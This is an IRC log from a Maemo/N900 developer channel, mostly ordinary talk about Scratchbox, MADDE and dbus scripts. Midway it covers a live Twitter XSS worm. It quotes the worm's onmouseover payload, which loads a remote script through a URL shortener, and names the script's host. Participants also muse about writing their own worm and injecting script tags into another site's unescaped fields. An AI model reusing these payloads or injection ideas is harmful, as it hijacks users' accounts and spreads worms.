| 10:00.22 | dneary | Anyone set up to test a Qt application for Maemo 5 on PR 1.2 here? |
| 10:00.34 | dneary | https://bugs.maemo.org/show_bug.cgi?id=10519 <- I'd like to see if we can confirm this bug |
| 10:00.35 | povbot | Bug 10519: qt-maemo-gravity-example has obsolete Qt configuration |
| 10:00.49 | dneary | (and I'm not set up for it right now) |
| 10:01.06 | timeless_pidgin | Mece: he's an excellent speaker |
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| 10:06.56 | kirkum | hi...I need help in installing gcc on nokia N900 mobile.. |
| 10:07.08 | timeless_pidgin | Don't |
| 10:07.15 | timeless_pidgin | It's a waste of space |
| 10:07.25 | timeless_pidgin | Use a real computer |
| 10:07.38 | timeless_pidgin | Rent one from the cloud if you don't have one |
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| 10:07.50 | kirkum | We need to compile some applications .. |
| 10:08.15 | crashanddie_ | then use scratchbox |
| 10:08.22 | crashanddie_ | or just apt-get install build-essential |
| 10:08.28 | timeless_pidgin | Computers can do that... |
| 10:08.34 | timeless_pidgin | Oddly enough |
| 10:08.41 | kirkum | on arm target or on X86 target? |
| 10:08.55 | crashanddie_ | kirkum: scratchbox enables cross-compilation |
| 10:09.02 | ALoGeNo | morning guys |
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| 10:09.16 | timeless_pidgin | Computers are flexible! |
| 10:09.16 | kirkum | okay.. |
| 10:09.19 | Khertan | Morning all |
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| 10:09.32 | crashanddie_ | kirkum: meaning you get the speed of your desktop computer with the toolkit present on your N900. The apps you compile in scratchbox run fine on your N900# |
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| 10:10.19 | ALoGeNo | timeless_pidgin, are you so kind of paste the link of the last day please, my firefox was crased and lost all the tabs :/ |
| 10:10.29 | crashanddie_ | interesting, mbatle & w00t_ just got out of a meeting? |
| 10:10.34 | kirkum | hoo.. im a newbie here.. soo if i can compile something on scratchbox.. will that work on n900 too? without installin gcc on n900... |
| 10:10.40 | timeless_pidgin | Alogeno: read the topic |
| 10:10.46 | timeless_pidgin | It has a link to logs |
| 10:10.47 | ALoGeNo | i cant find the madde qemu stuff with google :( |
| 10:10.53 | crashanddie_ | kirkum: that's just what I said, isn't it? |
| 10:10.54 | Khertan | is looking for a d-bus org.freedesktop.Notification to help him to understand the dbus-callback-default isn't working on Khweeteur |
| 10:11.00 | ALoGeNo | kk |
| 10:11.04 | Khertan | is looking for a d-bus org.freedesktop.Notification expert to help him to understand the dbus-callback-default isn't working on Khweeteur |
| 10:11.07 | timeless_pidgin | Mece: not part 4 |
| 10:11.09 | w00t_ | crashanddie_: nope, network just exploded at a guess |
| 10:11.14 | timeless_pidgin | Maybe 5? |
| 10:11.29 | timeless_pidgin | Mece: can i get you to scan forward? :( |
| 10:11.35 | kirkum | crashanddie: okay ill try that :D |
| 10:12.10 | ALoGeNo | :D thank you one more time timeless_pidgin |
| 10:12.22 | crashanddie_ | kirkum: scratchbox can be a bit finicky to setup initially, but once it's setup and working it really is "good" (note the quotes). For most people, it's infinitely better than compiling on the N900 |
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| 10:14.09 | alterego | scratchbox is a pain, but when you've got a good setup, mines VM with ssh, it's usable :) |
| 10:14.28 | crashanddie_ | yeah, definitely install it in a VM |
| 10:14.33 | crashanddie_ | or git the whole /scratchbox install |
| 10:14.38 | crashanddie_ | it's so easy to break, lol... |
| 10:15.32 | crashanddie_ | "You rebooted without properly unmounting Scratchbox, therefor it has commited Harakiri" |
| 10:15.36 | alterego | he |
| 10:15.52 | alterego | heh .. |
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| 10:16.15 | kirkum | crashanddie: okay.. thing is that my application to be deployed on mobile uses a "QProcess".. which requires a toolkit to be installed on the device.. |
| 10:16.33 | kerio | is there a virtualbox vm ready to use? |
| 10:16.34 | crashanddie_ | then just install the toolkit in scratchbox |
| 10:17.09 | crashanddie_ | kirkum: scratchbox attempts to be an emulator, in the way that you get an ARM cpu that can do most of the things the N900's CPU can do |
| 10:17.33 | kirkum | yaa.. thats were i was lil confused.. now ill try that.. thanks.. |
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| 10:22.48 | timeless_pidgin | MADE is supposed to be a complete sdk solution |
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| 10:22.56 | timeless_pidgin | Including scratchbox |
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| 10:23.08 | timeless_pidgin | The demos i've had show it mostly working |
| 10:23.21 | timeless_pidgin | Although the demos didn't include installing it |
| 10:24.20 | Stskeeps | timeless_pidgin: is /usr/bin/ld: warning: ../../staticlib/libmozipc_s.a(GeckoChildProcessHost.o) uses 2-byte wchar_t yet the output is to use 4-byte wchar_t; use of wchar_t values across objects may fail |
| 10:24.24 | Stskeeps | bad? |
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| 10:35.39 | mece | timeless_pidgin, sorry was afk |
| 10:36.45 | mece | and going akf again... |
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| 10:37.51 | timeless_pidgin | Sp3000: ping. Email. Please poke james. I'd like to send that today. Preferably w/ the missing link |
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| 10:41.24 | DocScrutinizer | moo |
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| 10:50.28 | user | hi |
| 10:50.54 | v2px_ | moin |
| 10:51.38 | user | connected with irssi from a n900 |
| 10:52.13 | user | very nice |
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| 10:52.57 | user | but no virtual keyboard |
| 10:53.36 | user | :-) |
| 10:54.23 | jpinx-eeepc | user: should be if you are in an Xterm |
| 10:54.43 | jpinx-eeepc | user: and you might want to change your nick ;) |
| 10:54.52 | merlin1991 | why would you want a virtual one when you have a full qwerty one? |
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| 10:56.29 | maxja | yes its a xterm |
| 11:00.05 | ALoGeNo | hey after install madde that was installed by default in /root/.madde and looks like i need set some path, cant find qemu from madlib (mad and mad admin i was linked in /bin (but that is only to test) i need to set something after install MADDE?, i must install made inside of sdk virtual image or i can run it from my pc? |
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| 11:02.20 | ALoGeNo | timeless_pidgin, can you help me please? :P |
| 11:02.49 | xkr47 | excess flood in two seconds.. nice |
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| 11:06.50 | alterego | Can someone point me to the git repo for the active background example? |
| 11:06.59 | DocScrutinizer | dbus-scripting is acting up, rendering my device unresponsive, with 900+ processes of which 800 are 'dbus-scripts' |
| 11:07.06 | DocScrutinizer | >:-( |
| 11:07.14 | Shadikka | killall dbus-script and see what breaks? ;) |
| 11:07.24 | alterego | DocO_O |
| 11:07.26 | DocScrutinizer | nothing breaks |
| 11:08.14 | lcuk | alterego, its in hildon-home I believe (the core test one) otherwise, get live wallpaper package or xsnow or xscreensavers or liqflow |
| 11:08.29 | DocScrutinizer | actually after SIX(!) `killall dbus-scripts` it finally managed to kill the processes faster than they respawn, and 7th killall said "no processes found to kill" |
| 11:08.30 | alterego | lcuk: Cheers :) |
| 11:08.45 | mece | DocScrutinizer, hee nice! |
| 11:08.56 | alterego | Also, is microb source actually up-to-date yet? |
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| 11:11.13 | xkr47 | DocScrutinizer, while killall dbus-scripts ; do :; done ;) |
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| 11:11.26 | xkr47 | ;) not part of command |
| 11:11.39 | DocScrutinizer | yup |
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| 11:12.10 | DocScrutinizer | s/:/echo "WTF?!"/ |
| 11:12.24 | xkr47 | yeah definately |
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| 11:21.54 | jacekowski | DocScrutinizer: while true;do killall -9 dbus-scripts;done |
| 11:21.55 | satmd | oO |
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| 11:22.22 | satmd | wonders if this is the same hwoarang that I know from another comunity |
| 11:22.32 | satmd | that'd be a surprise |
| 11:23.20 | timeless_pidgin | Alogeno : i'm on vacation |
| 11:23.27 | timeless_pidgin | Complain to the madde team |
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| 11:23.38 | timeless_pidgin | But please don't try to outsmart the installer |
| 11:23.50 | timeless_pidgin | Do everything *precisely* as instructed |
| 11:24.35 | alterego | lcuk: can't find it :( |
| 11:24.58 | timeless_pidgin | Not sure what you mean by microb and up to date |
| 11:25.14 | timeless_pidgin | It is of course about a year old as gecko's go... |
| 11:25.43 | timeless_pidgin | And there have been a couple of changes to the ui post pr1.2 |
| 11:28.13 | hwoarang | satmd: depends on the community |
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| 11:28.32 | [PG]Aex | hoho |
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| 11:30.19 | satmd | hwoarang: well, if you knew my nick, that'd me a yes :P |
| 11:30.24 | satmd | if not, guess no |
| 11:30.42 | satmd | even though I've active on b.g.o |
| 11:30.48 | satmd | (a little) |
| 11:35.06 | ALoGeNo | can some one helpme with that? |
| 11:35.10 | DocScrutinizer | mumbles about being an idiot to store shellscripts at /etc/dbus-scripts.d/* |
| 11:35.14 | ALoGeNo | mad remote -r rx51-fremantle-pr12 poweron |
| 11:35.14 | ALoGeNo | Cannot create new QEMU! |
| 11:35.15 | ALoGeNo | Some of the ports (6666, 13219, 14168) needed for QEMU not available! |
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| 11:36.18 | mece | grr argh! Ok so apparently there are Answer() and Release() methods in the dbus call interface. What other methods are there? Is there a reference manual for this? |
| 11:37.11 | RST38h | Port 6666 has probably been occupied by Satan |
| 11:37.43 | RST38h | 13219 and 14168 look like random numbers though, so maybe your system does not let you open ports unless you are root? |
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| 11:38.18 | mece | aho CallStatus ftw! |
| 11:38.36 | DocScrutinizer | RST38h: satan is a port *scanner*, no port occupier :-P |
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| 11:40.49 | DocScrutinizer | RST38h: also seems 6665..6669 are assigned to IRCU |
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| 11:44.45 | lcuk | alterego, then you arent looking hard enough :P |
| 11:45.07 | alterego | lcuk: probably not :P |
| 11:45.12 | lcuk | http://lists.maemo.org/pipermail/maemo-developers/2010-June/026537.html |
| 11:45.19 | lcuk | try that for some extra info and a direct link |
| 11:45.53 | lcuk | but you are best plugging into vasvlads live wallpaper stuff |
| 11:46.03 | lcuk | he has a Settings configuration dialog and all that stuff |
| 11:46.15 | RST38h | Doc: I know :) |
| 11:46.25 | RST38h | Doc: That is what I meant by Satan, too |
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| 11:48.05 | lcuk | alterego, http://wiki.maemo.org/Livewallpaper |
| 11:48.15 | lcuk | use the info there to create your own live wallpapers that plugin |
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| 11:50.34 | crashanddie_ | DocScrutinizer: "You are see me?" |
| 11:50.56 | DocScrutinizer | crashanddie_: sorry, please rephrase |
| 11:51.06 | crashanddie_ | I dunno, you said "IRCU" |
| 11:51.16 | DocScrutinizer | aah |
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| 11:55.17 | DocScrutinizer | ok, confirmed: 1) /me is an idiot, 2) dbus-scripting works just nice as long as you don't store random crap to /etc/dbus-scripts.d/* |
| 11:57.01 | xkr47 | you put your image gallery there ? :D |
| 11:58.30 | DocScrutinizer | nah, cat /etc/dbus-scripts.d/playswoosh -> #!/bin/sh stored=/home/user/.slidestore; slide=$(cat sys/devices/platform/gpio-switch/slide/state); if [ X$slide == X$(cat $stored) ]; then exit 0; fi; if [ $slide == open ]; then /usr/bin/play-sound /usr/share/sounds/ui-charging_started.wav; fi; echo -n $slide >$stored |
| 12:00.50 | DocScrutinizer | seems the dbus-script daemon doesn't like such config file :-P |
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| 12:05.05 | DocScrutinizer | ermmm, how would I inquire current runlevel? |
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| 12:06.04 | SpeedEvil | runlevel |
| 12:06.07 | jpinx-eeepc | init something? |
| 12:06.08 | SpeedEvil | (the command) |
| 12:06.09 | mece | ok got it working as I want it now: http://pastebin.com/AtSGqa5g |
| 12:06.09 | DocScrutinizer | :-D |
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| 12:08.45 | mece | Now I wonder, is it clever to have that running? Does the MainLoop use resources when waiting for a call? |
| 12:08.56 | mece | frals, you win at twittering! |
| 12:09.12 | frals | mece: it was yergas fault |
| 12:09.18 | mece | frals, sure it was. |
| 12:09.20 | frals | i opened twitter and it autoposted |
| 12:09.26 | mece | hehehe |
| 12:09.27 | frals | seems to be a nice exploit |
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| 12:15.21 | DocScrutinizer | feels sick about cruft and lyrics in inittab |
| 12:16.05 | DocScrutinizer | # What to do when the power fails/returns. |
| 12:16.07 | DocScrutinizer | pf::powerwait:/etc/init.d/powerfail start |
| 12:16.55 | psycho_oreos | MohammadAG51, ping |
| 12:17.18 | DocScrutinizer | IroN900:~# ls /etc/init.d/powerfail |
| 12:17.20 | DocScrutinizer | ls: Zugriff auf /etc/init.d/powerfail nicht möglich: No such file or directory |
| 12:18.14 | lcuk | what in the holy fuck just happened on twitter? |
| 12:18.19 | lcuk | frals, ? |
| 12:18.43 | RST38h | lcuk: Everyone took shit? |
| 12:18.53 | DocScrutinizer | gone pooof? |
| 12:18.53 | frals | lcuk: seems to be a js exploit, i got it from yerga in my feed, it tries to DM someone and reposts the status |
| 12:19.01 | mece | nice lcuk :d |
| 12:19.17 | lcuk | frals, "you got it" |
| 12:19.35 | frals | lcuk: as in, it appeard in my feed from him |
| 12:19.35 | lcuk | ie its directly on twitter itself on peoples feed? |
| 12:19.41 | lcuk | or DM only |
| 12:19.48 | lcuk | (which aren't loaded by default) |
| 12:19.55 | frals | lcuk: in feeds |
| 12:19.59 | mece | wow |
| 12:20.01 | DocScrutinizer | muhahaha |
| 12:20.05 | mece | that's pretty cool! |
| 12:20.12 | frals | lcuk: and it spreads as soon as you load the feed in browser |
| 12:20.13 | mece | so if I open yergas twitter page it will post something? |
| 12:20.30 | frals | i think he deleted it because its gone from my feed last i checked |
| 12:20.50 | DocScrutinizer | ponders doing a similar hack for garage, as there <fields> aren't escaped |
| 12:20.50 | lcuk | its spread for sure |
| 12:20.52 | lcuk | its on mine now |
| 12:20.56 | mece | hee |
| 12:20.59 | lcuk | logout before viewing |
| 12:21.11 | mece | ok.. will do |
| 12:21.29 | mece | could you give me a direct url to the logout? |
| 12:21.49 | MNZ | hahahahahah I just got it XD XD and I didn't go anywhere, just homepage |
| 12:21.52 | mece | ah from own feed. |
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| 12:22.08 | mece | MNZ, naturally if a friend has posted it you have it. |
| 12:22.12 | lcuk | <PROTECTED> |
| 12:22.16 | lcuk | viewing source of page |
| 12:22.21 | DocScrutinizer | WTF *is* twitter ?? :-P |
| 12:22.27 | lcuk | is this directly because of new t.co? |
| 12:22.29 | mece | wow |
| 12:22.38 | mece | very large letters those are :D:D:D |
| 12:23.13 | MNZ | hahaha I can just *imagine* the state all the twitter devs are in XD |
| 12:23.21 | merlin1991 | hrhr |
| 12:23.38 | DocScrutinizer | cackles evilly |
| 12:23.46 | lcuk | can someone decode that url |
| 12:23.54 | lcuk | http:\u002f\u002fis.gd\u002ffl9A7 |
| 12:24.03 | lcuk | and resolve it into the script? |
| 12:24.21 | MNZ | u'http://is.gd/fl9A7' |
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| 12:24.55 | MNZ | lets make our own! what do you guys want to spam twitter with today? |
| 12:25.44 | marmoute | the site seems pretty down. |
| 12:25.46 | MNZ | I think is.gd is down from the load!!! |
| 12:25.49 | marmoute | self-/. |
| 12:26.05 | lcuk | so if i login and delete the twit myself |
| 12:26.36 | MNZ | this. is. epic. |
| 12:26.51 | MNZ | twitter will soon collapsificate |
| 12:27.00 | MNZ | failwhale to the rescue! |
| 12:27.06 | DocScrutinizer | http://lexasoft . jino-net.ru / up1415.js |
| 12:27.07 | mece | no, since the script is no longer available it will stop spreading |
| 12:27.19 | mece | DocScrutinizer, thanks :D |
| 12:27.25 | lcuk | right |
| 12:27.29 | lcuk | its gone from my feed |
| 12:27.31 | DocScrutinizer | $('#status').val("http://t.co/@\"style=\"font-size:999999999999px;\"onmouseover=\"$.getScript('http:\\u002f\\u002fis.gd\\u002ffl9A7')\"/"); |
| 12:27.33 | DocScrutinizer | $('.status-update-form').submit(); |
| 12:27.54 | DocScrutinizer | shrugs |
| 12:28.04 | DocScrutinizer | seems I'm not doing it 'right' |
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| 12:28.19 | lcuk | frals, logged out, go onto your own page, click stop, login with normal account, click stop again, then scroll down and delete the message |
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| 12:29.16 | lcuk | variations are sprouting up tho |
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| 12:30.54 | DocScrutinizer | fun on Tuesdays, that's quite unusual :-D |
| 12:31.23 | DocScrutinizer | considers joining twitter, for the shits and giggles |
| 12:31.42 | DocScrutinizer | but then, MEH |
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| 12:33.12 | frals | lcuk: i dont have it in my feed do i? |
| 12:33.18 | DocScrutinizer | WTF is http://t.co/@ ??? |
| 12:33.31 | lcuk | frals, i havent looked hold on |
| 12:33.31 | ALoGeNo | okey maemo+qemu running :) |
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| 12:33.44 | lcuk | no |
| 12:33.53 | mece | frals, no you're clean |
| 12:33.54 | mece | :) |
| 12:34.00 | Jef91 | Jeez between crazy hamster and kroll I almost feel like the N900 is a real smart phone. |
| 12:34.04 | DocScrutinizer | eeeeeek twitter |
| 12:34.14 | mece | I'm out. tata. |
| 12:34.15 | Jef91 | It's nice to get some game dev attention. |
| 12:34.26 | mece | Jef91, crazy hamster?? |
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| 12:35.05 | Jef91 | Game on ovi mece |
| 12:35.14 | mece | Is it good? |
| 12:35.29 | Jef91 | Just a demo atm |
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| 12:35.32 | Jef91 | but looks very good. |
| 12:35.38 | Jef91 | Remember old school lemmings? |
| 12:35.42 | Jef91 | Kinda like that. |
| 12:35.48 | Jef91 | Or pingus |
| 12:35.50 | DocScrutinizer | heh, I liked that |
| 12:35.56 | Jef91 | btw I wish someone would port pingus to n900 |
| 12:36.00 | Jef91 | My girlfriend loves that game |
| 12:36.23 | lcuk | Jef91, you have motivation |
| 12:36.28 | merlin1991 | lemmings ftw |
| 12:36.32 | lcuk | knowing she will love you forever if you port it |
| 12:36.47 | lcuk | downside is, she will be nicking your phone to play it |
| 12:36.52 | Jef91 | motivation and little to no coding exp |
| 12:37.02 | Jef91 | Unless pingus is python |
| 12:37.10 | lcuk | you think linus torvalds knows how to code? |
| 12:37.39 | lcuk | sticky tape and some elbow grease |
| 12:38.11 | Jef91 | lol |
| 12:38.22 | Jef91 | Good to know Linux gets things done the same way I do at work |
| 12:38.33 | DocScrutinizer | *cough* |
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| 12:39.29 | DocScrutinizer | lcuk: don't you think passing "<whatever>" verbatim into HTML pages could open a vulnerability? |
| 12:39.38 | TermanaN900 | lcuk, not very well. Why else do you think he is not a major contributor of code anymore!? (kidding :P) |
| 12:41.12 | Jef91 | This reminds me why I stopped trying to port FOSS applications to maemo - http://talk.maemo.org/showthread.php?t=60106 |
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| 12:41.26 | lcuk | TermanaN900, look at any codebase |
| 12:41.34 | Jef91 | Wish they would have just made the operating system compatible with debian armel packages, would have made things 100 times easier |
| 12:41.42 | lcuk | in the core is a shaky set of prototype hacks |
| 12:41.47 | Jef91 | Or at least used the same libc6 version |
| 12:43.00 | TermanaDesire | My n900 keeps killing its data connection |
| 12:43.18 | DocScrutinizer | lcuk: I'm pondering to include <script src="http://my.script.server.ru" type="text/javascript"></script> to starhash packet description, to auto-rate the package :-P |
| 12:43.56 | mece | Jef91, so any reason why pingus is not ported? Should work right away. |
| 12:44.11 | Jef91 | mece You know I was told that by a pile of people |
| 12:44.17 | Jef91 | binaries it needs to compile |
| 12:44.20 | Jef91 | do not port so nicely |
| 12:44.55 | mece | Jef91, ok, I didn't really understand what you just said, but I have to go. I'll take a look at that thing. |
| 12:44.56 | Khertan | has just lost one hour to try to write is meego usb netbook image on a usb key without success |
| 12:45.04 | mece | tata |
| 12:45.05 | Khertan | s/is/his |
| 12:45.07 | *** part/#maemo mece (~mwikstro@mariehamn.abo.fi) |
| 12:46.00 | crashanddie | what the hell's up with twitter? |
| 12:46.48 | Khertan | crashanddie, it s twitter ... it s like bird ... there isn't 100% success delivery ... |
| 12:47.04 | Jef91 | khertan Meggo on the netbook is a waste of time |
| 12:47.11 | Jef91 | It is moblin 1.1 which also was a waste of time. |
| 12:47.34 | MohammadAG51 | Khertan, dd's easy to use |
| 12:47.58 | Khertan | crashanddie, ouch strange ... look like a deface ... |
| 12:48.09 | Khertan | MohammadAG51, yep... but fail |
| 12:48.19 | Duckboot | Khertan: XSS worm |
| 12:48.22 | MohammadAG51 | dd if=image of=/dev/somewhere |
| 12:48.24 | Khertan | Jef91, depends on you use |
| 12:48.29 | Khertan | Duckboot, xss worm ? |
| 12:48.51 | Duckboot | Cross Site Scripting |
| 12:49.05 | Duckboot | http://en.wikipedia.org/wiki/Cross-site_scripting |
| 12:49.32 | Duckboot | Not a deface |
| 12:49.58 | crashanddie | please close the browser |
| 12:50.14 | crashanddie | don't leave your browser open, or you'll be sending spam |
| 12:50.19 | [PG]Aex | Is it possible to get J2ME support on the N900? |
| 12:50.21 | crashanddie | (or DDoS'ing twitter) |
| 12:50.41 | Duckboot | Or use NoScript plugin |
| 12:50.42 | Khertan | crashanddie, yep |
| 12:50.46 | Khertan | i see that |
| 12:50.53 | Khertan | it s open spam |
| 12:51.01 | Khertan | it s try to spam by direct message |
| 12:51.41 | [PG]Aex | Anyone knows? |
| 12:52.50 | crashanddie | [PG]Aex: search TMO, it should have some info |
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| 12:53.45 | [PG]Aex | google or maemo.org? |
| 12:53.47 | merlin1991 | disabled javascript and happily browses a 90% cripled page now :D |
| 12:54.43 | zap | [PG]Aex: have you looked in app manager? I think I have seen a j2me interpreter there |
| 12:55.01 | [PG]Aex | sec i'll have a look |
| 12:56.50 | Khertan | hum the twitter api seems down :) |
| 12:59.39 | DocScrutinizer | lol |
| 13:00.40 | jpinx-eeepc | hum that again? I didn't catch the tune ;) |
| 13:02.44 | crashanddie | Khertan: not just the API, everything. |
| 13:03.07 | Khertan | crashanddie, hum the web interface is working :) |
| 13:03.40 | cheriff | i cant believe they allow you to tweet javascript in the first place |
| 13:03.47 | Khertan | if i write a counter measure and diffuse it like the xss original worms |
| 13:03.50 | crashanddie | Khertan: yes, but it's filled with plenty of worms |
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| 13:04.29 | Khertan | can it be call a xss worms ? |
| 13:05.00 | zap | [PG]Aex: microemulator - MicroEmulator is a free J2ME(TM) implementation. |
| 13:05.03 | DocScrutinizer | lcuk: ?? any notion about my prev posts? |
| 13:05.05 | satmd | kindof |
| 13:05.14 | [PG]Aex | lol just found it the second you wrote |
| 13:05.16 | [PG]Aex | Cheers=) |
| 13:05.42 | zap | I would write earlier if some guy wouldn't pick me on the phone |
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| 13:05.54 | [PG]Aex | xd |
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| 13:06.51 | [PG]Aex | Well, thanks alot for the help =) |
| 13:07.17 | DocScrutinizer | bash: xd: command not found |
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| 13:11.26 | Khertan | lol i m trying to got the javascript but the website which host it seems down |
| 13:11.27 | Khertan | :) |
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| 13:12.06 | merlin1991 | get it out of your browser cache? |
| 13:12.20 | alterego | Or google cache |
| 13:12.32 | Khertan | ah yes google cache |
| 13:12.33 | Khertan | thx |
| 13:12.34 | Khertan | ;) |
| 13:14.46 | crashanddie | Khertan: i'm not seeing any remote javascript |
| 13:14.54 | crashanddie | Khertan: just seeing an automated .submit |
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| 13:15.13 | Khertan | crashanddie, there is one on the mouse over |
| 13:15.29 | crashanddie | onmouseover="document.getElementById('status').value='RT Matsta';$('.status-update-form').submit();" |
| 13:15.33 | Khertan | <PROTECTED> |
| 13:15.38 | th3hate | is twitter acting strangly for anyone else? |
| 13:15.49 | th3hate | windows keep popping from no where |
| 13:15.50 | crashanddie | th3hate: yes, don't use a browser |
| 13:15.52 | Khertan | th3hate, under xss worm attack |
| 13:15.58 | crashanddie | th3hate: or use noscript |
| 13:17.07 | th3hate | LOL @ trending topics |
| 13:17.21 | satmd | link mentioned by Khertan already has been disabled by is.gd |
| 13:17.24 | th3hate | Security flaw, mousover, onmouseover, expliot, XSS |
| 13:17.29 | Khertan | http://is.gd/fl9A7 disabled |
| 13:17.35 | Khertan | attack ends :) |
| 13:17.37 | crashanddie | Khertan: http:\u002f\u002fis.gd\u002ffl9A7 == http://is.gd/fl9A7 (blocked now) == http://scaicha.helld.ru/index.py?name=Guliwer512&period=overall&score=1&other=1 |
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| 13:19.52 | crashanddie | web interface seems to have been fixed |
| 13:20.23 | Khertan | <PROTECTED> |
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| 13:20.33 | Khertan | <PROTECTED> |
| 13:20.46 | crashanddie | neither do I see anything... |
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| 13:21.28 | crashanddie | Khertan: though, it could spit out something else if the referrer is twitter... |
| 13:22.02 | Khertan | the original : http://lexasoft.jino-net.ru/up1415.js |
| 13:22.03 | Khertan | :) |
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| 13:26.41 | Khertan | crashanddie, ok nothing bad so ... it s just replicate itself |
| 13:26.47 | Khertan | nothing more |
| 13:27.41 | crashanddie | well, I wonder |
| 13:28.05 | crashanddie | because the http://t.co/@ is another rediction service |
| 13:28.38 | crashanddie | so I wonder if ""style="font-size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"class" could be computing to something else... |
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| 13:29.08 | crashanddie | which would then redirect to yet something else |
| 13:30.44 | Khertan | Twitter uses the t.co domain as part of a service to protect users from harmful activity |
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| 13:30.47 | Khertan | lol |
| 13:30.49 | Khertan | failed :) |
| 13:30.56 | satmd | there's a lesson to be learned from this class of worms... clearly distinguish data layer and presentation layer :( |
| 13:31.14 | crashanddie | what does that have to do with anything? |
| 13:31.33 | satmd | data is not supposed to contain executable elements |
| 13:31.42 | Khertan | crashanddie, is possible only with t.co ... this is how they manage to shorten url that made this possible |
| 13:32.01 | crashanddie | just sanitise your bloody inputs correctly, whether that means they come from a user or your database |
| 13:32.17 | satmd | ack. that is a approach to the same underlying problem |
| 13:32.18 | satmd | ;) |
| 13:32.19 | crashanddie | obviously, twitter trusted whatever came out of their database and the display assumed it was trustworthy. |
| 13:33.04 | Khertan | the problem is js ... this abomination should not exist |
| 13:33.06 | crashanddie | This would never have happened if they'd written twitter using a propper language... like Java or something. |
| 13:33.28 | crashanddie | </sarcasm> |
| 13:33.38 | Jef91 | Anyone on here use twitter from the n900? If so what client do you prefer? |
| 13:33.49 | crashanddie | Jef91: KHWEETEUR! |
| 13:33.50 | Khertan | crashanddie, hum ... if they used java we will just have a uptime of 1 hour by day |
| 13:33.58 | Khertan | :) |
| 13:34.10 | crashanddie | Khertan: oh piss off :P You never programmed in java, you're not allowed to criticise it :P |
| 13:34.11 | Khertan | crashanddie, what did they use ? |
| 13:34.18 | crashanddie | Khertan |
| 13:34.19 | Khertan | crashanddie, i m a java dev ... |
| 13:34.25 | crashanddie | Khertan: it was ruby on rails or something |
| 13:34.35 | Khertan | crashanddie, i m use java 2 years ... and i run away from it :) |
| 13:34.39 | crashanddie | Khertan: my point exactly, if you're a java dev, you've never developed in java |
| 13:34.43 | Khertan | crashanddie, i ve use java 2 years ... and i run away from it :) |
| 13:34.55 | Khertan | crashanddie, lol |
| 13:35.05 | crashanddie | wait, there's a problem with my previous argument :D |
| 13:35.30 | crashanddie | Khertan: J2EE? |
| 13:35.34 | Khertan | ruby on rail ... ouch ... we have many problem with this at work |
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| 13:35.41 | crashanddie | kh |
| 13:35.48 | Khertan | crashanddie, j2ee and j2me unfortunatly |
| 13:35.49 | crashanddie | fucking autocompletion of this stupid irc client |
| 13:35.56 | Khertan | :) |
| 13:36.22 | crashanddie | I actually have to <tab><enter> even when there's only one option.... |
| 13:36.57 | crashanddie | Khertan: what do you use on Windows? |
| 13:37.06 | dsg | Is it possible to join channels with the IRC telepathy plugin somehow? Or just private messages? |
| 13:37.07 | crashanddie | macirssi was all my dreams come true |
| 13:37.15 | Khertan | crashanddie, on windows : webchat.freenode.net |
| 13:37.16 | Khertan | :) |
| 13:37.20 | crashanddie | heh |
| 13:37.30 | timeless_pidgin | Has anyone here had cases where sending an email to someone using MS Exchange resulted in "failed" instead of "canceled". The destination is an account in this MS Exchange server |
| 13:37.32 | Khertan | as i try to stay too much on this os |
| 13:37.51 | Khertan | hate DBUS ! |
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| 13:38.03 | satmd | too |
| 13:38.16 | satmd | did you run into a missing libdbus-1.la like me? |
| 13:38.21 | crashanddie | Khertan: "hates" |
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| 13:38.30 | crashanddie | troisieme personne |
| 13:38.57 | Khertan | no ... i'm trying to make dbus-callback-default working on org.freedesktop.Notification without any luck |
| 13:39.11 | Khertan | crashanddie, true ... but i do the same error in french ... :) |
| 13:39.18 | crashanddie | tsss |
| 13:39.54 | Khertan | ayé les russes s'y mettent : оÑел Ñ Ð´ÑÑгого клиенÑа ибо ÑабоÑаÑÑ Ð² веб инÑеÑÑейÑике - опаÑно |
| 13:39.55 | Khertan | :) |
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| 13:40.14 | Khertan | a new variant of the xss worm on twitter just appear :) |
| 13:40.40 | lolloo | do you guys hate twitter? |
| 13:41.05 | lolloo | why? |
| 13:41.14 | Jef91 | Wish we could get a decent Facebook application |
| 13:41.23 | Khertan | Jef91, microb |
| 13:41.41 | Jef91 | Khertan Microb refuses to click any buttons on touch.facebook.com for me |
| 13:41.54 | lolloo | Wish we could get a decent Fring application |
| 13:41.56 | Jef91 | and when I use the full site it throws an error message everytime I try to post something |
| 13:42.10 | Jef91 | I'm just glad pyradio has a solid dev behind it |
| 13:42.14 | Jef91 | that application is fantastic |
| 13:42.16 | lolloo | e-buudy too |
| 13:42.36 | Khertan | I wish i could fix the notification callback on Khweeteur |
| 13:42.38 | Khertan | :) |
| 13:42.58 | lolloo | maybe you are using custom kernel |
| 13:43.10 | lolloo | try using the default one |
| 13:43.18 | lolloo | might work for you |
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| 13:45.30 | Jef91 | grr slow n900 is slow... must, resist, overclocking... |
| 13:46.01 | Khertan | Jef91, n900 isn't slwo |
| 13:46.24 | Jef91 | relative to other handhelds, no |
| 13:46.27 | Khertan | overclock resolv anything |
| 13:46.28 | Jef91 | relative to my netbook yes |
| 13:46.43 | Khertan | Jef91, funny i found my n900 faster than my n130 |
| 13:46.44 | Khertan | :) |
| 13:47.10 | Jef91 | I have an n455 I think in mine |
| 13:47.12 | Jef91 | 1.66ghz |
| 13:47.43 | satmd | what's the difference between the fremantle and fremantle-1.2 distribution? |
| 13:47.55 | Jef91 | alot less suck satmd |
| 13:48.04 | satmd | which one? ;) |
| 13:48.13 | Jef91 | 1.2 is much better |
| 13:48.27 | satmd | ok |
| 13:48.46 | satmd | goes reinstalling petrovich in an attempt at repairing |
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| 13:49.44 | Jef91 | Grr t-mobile 3g |
| 13:49.53 | Jef91 | Download just stopped 1/3 of the way through. |
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| 13:50.21 | satmd | still broken :( |
| 13:51.42 | Khertan | MohammadAG51, after changing for a another usb key ... dd works ... the dd key seems broken :) |
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| 13:55.22 | iuu | hey.. i got an error.. while running run-standalone.sh |
| 13:55.33 | lolloo | why doesnt maemo notifier for xchat plugin doesn't work? |
| 13:55.41 | lolloo | can you help guys? |
| 13:55.44 | iuu | SBOX_CPUTRANSPARENCY_METHOD not set.. it seems |
| 13:56.00 | iuu | what can b a solution |
| 13:56.20 | crashanddie | iuu: i think nothing |
| 13:56.22 | lolloo | I want my phone to beep when I get personal message on xchat |
| 13:56.29 | crashanddie | because obviously, you think our time is less precious than yours |
| 13:56.35 | crashanddie | because you didn't even take the time to google it |
| 13:56.36 | lolloo | why wont my n900 beep? |
